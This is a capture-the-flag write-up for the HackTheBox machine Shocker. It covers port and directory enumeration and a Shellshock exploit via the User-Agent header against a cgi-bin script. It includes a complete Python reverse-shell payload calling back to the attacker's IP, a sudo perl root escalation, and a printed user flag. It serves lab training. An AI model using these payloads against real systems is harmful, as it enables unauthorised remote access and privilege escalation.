CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Shocker

linux apache cgi-bin shellshock sudo

Shocker is a Linux-based machine authored by mrb3n, with an average rating of 4.6 stars.

// Lessons Learned

  1. When brute-forcing a webserver it’s sometimes necessary to use multiple wordlist repos, before you strike the right one for your target.

// Recon

┌──(kali㉿kali)-[~/HTB/shocker]
└─$ nmap -A -p- shocker.htb   
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-11 09:34 AEST
Nmap scan report for shocker.htb (10.10.10.56)
Host is up (0.068s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.39 seconds

Nmap completes an all-ports scan on this Ubuntu target very quickly, since there doesn’t seem to be much running:

Loading the site in a browser reveals a very simple homepage:

The page-source is virtually non-existent, and the http response headers add very little besides confirming the apache version. Running feroxbuster with several wordlists from SecLists doesn’t turn up much, except for the presence of a /cgi-bin directory:

feroxbuster -u http://shocker.htb -w Discovery/Web-Content/common.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.4.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://shocker.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ Discovery/Web-Content/common.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.4.1
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403       11l       32w      295c http://shocker.htb/.htaccess
403       11l       32w      295c http://shocker.htb/.htpasswd
403       11l       32w      290c http://shocker.htb/.hta
403       11l       32w      294c http://shocker.htb/cgi-bin/
403       11l       32w      298c http://shocker.htb/cgi-bin/.hta
403       11l       32w      303c http://shocker.htb/cgi-bin/.htaccess
403       11l       32w      303c http://shocker.htb/cgi-bin/.htpasswd
200        9l       13w      137c http://shocker.htb/index.html
403       11l       32w      299c http://shocker.htb/server-status
[####################] - 6s      9422/9422    0s      found:9       errors:0
[####################] - 5s      4711/4711    875/s   http://shocker.htb
[####################] - 5s      4711/4711    903/s   http://shocker.htb/cgi-bin/

// Initial Foothold

CGI (Common Gateway Interface) is a relatively old method of exposing server-side applications and functionality via a web interface, that has now largely been replaced by scripting languages such as PHP. It allows execution of scripts and binaries on the server, as though they were being executed from the server itself. This has implications because of things like shell environments, which have different expectations around the kind of inputs they accept. An example of where this has been known to cause security issues is the Shellshock vulnerability, that takes advantage of the way certain versions of bash interpret certain HTTP headers. To determine if this target is vulnerable, we’ll first need to find a script within /cgi-bin to exploit. It can sometimes take several wordlists to find the right one for a given target, but eventually we find a script with the help of one of dirbuster’s wordlists, alongside the -x sh,pl argument (which indicates each word should be attempted with .sh and .pl suffixes):

┌──(kali㉿kali)-[~/HTB/shocker]
└─$ gobuster dir -u http://shocker.htb/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x sh,pl   
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://shocker.htb/cgi-bin/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              sh,pl
[+] Timeout:                 10s
===============================================================
2022/05/11 11:17:14 Starting gobuster in directory enumeration mode
===============================================================
/user.sh              (Status: 200) [Size: 118]

This new url returns some basic output, indicative of a test script:

HTTP/1.1 200 OK
Date: Wed, 11 May 2022 01:53:27 GMT
Server: Apache/2.4.18 (Ubuntu)
Connection: close
Content-Type: text/x-sh
Content-Length: 118

Content-Type: text/plain

Just an uptime test script

 21:53:28 up  2:18,  0 users,  load average: 0.10, 0.03, 0.01

To test if the server is vulnerable, we need to specify a special value for one of the HTTP headers that Apache will make available as environment variables (those known to be vulnerable are User-Agent, Accept and Accept-Language). This is the key to the vulnerability, because the bash shell we reach (if it’s vulnerable) will execute commands we supply in the header value. An example payload would replacing a normal User-Agent string:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36

with a malicious one:

User-Agent: () { :;}; echo; echo vulnerable

If we send a request to http://shocker.htb/cgi-bin/user.sh with this header, the response indicates that the code we have supplied (echo vulnerable) has been executed:

HTTP/1.1 200 OK
Date: Wed, 11 May 2022 01:44:06 GMT
Server: Apache/2.4.18 (Ubuntu)
Connection: close
Content-Type: text/x-sh
Content-Length: 130

vulnerable

Content-Type: text/plain

Just an uptime test script

 21:44:06 up  2:09,  0 users,  load average: 0.00, 0.00, 0.00

This happens because bash interprets () { :;}; echo; as an empty function definition, which it imports according to its usual behaviour. In addition, it mistakedly goes on to execute the remainder of the value, in this case echo vulnerable. A target that can be instructed to execute remote code can easily be instructed to setup a reverse shell, by first creating a listener on our attack box using penelope shell handler:

┌──(kali㉿kali)-[~/github/brightio/penelope]
└─$ python penelope.py 443
[+] Listening for reverse shells on 0.0.0.0 🚪443

and then sending the following header to initiate a reverse shell using python3 (discovered via an earlier payload of v=$(/bin/which python3); echo $v):

User-Agent: () { :;}; echo; v=$(/usr/bin/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.17.230",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 2>&1); echo $v

and we catch a reverse shell:

[+] Got reverse shell from 🐧 shocker.htb~10.10.10.56 💀 - Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/kali/.penelope/shocker.htb~10.10.10.56/shocker.htb~10.10.10.56.log 📜
shelly@Shocker:/usr/lib/cgi-bin$

From here, we can navigate to the shelly home dir and find the user flag in the usual location:

shelly@Shocker:/usr/lib/cgi-bin$ cd ~
shelly@Shocker:/home/shelly$ cat user.txt 
2ec24e11320026d1e70ff3e16695b233
2ec24***************************

// Privilege Escalation

Before turning to enumeration tools like linPEAS or linenum, it’s often worth manually checking some obvious areas. In this case, we don’t have to look far to find a way in via sudo:

shelly@Shocker:/home/shelly$ sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

Since we’re able to run perl as root without supplying a password, a single command can be used to obtain a root shell:

shelly@Shocker:/home/shelly$ sudo perl -e 'exec "/bin/sh";'
# id
uid=0(root) gid=0(root) groups=0(root)

From here, we can retrieve the root flag from the usual location:

# cat ~/root.txt
52c27***************************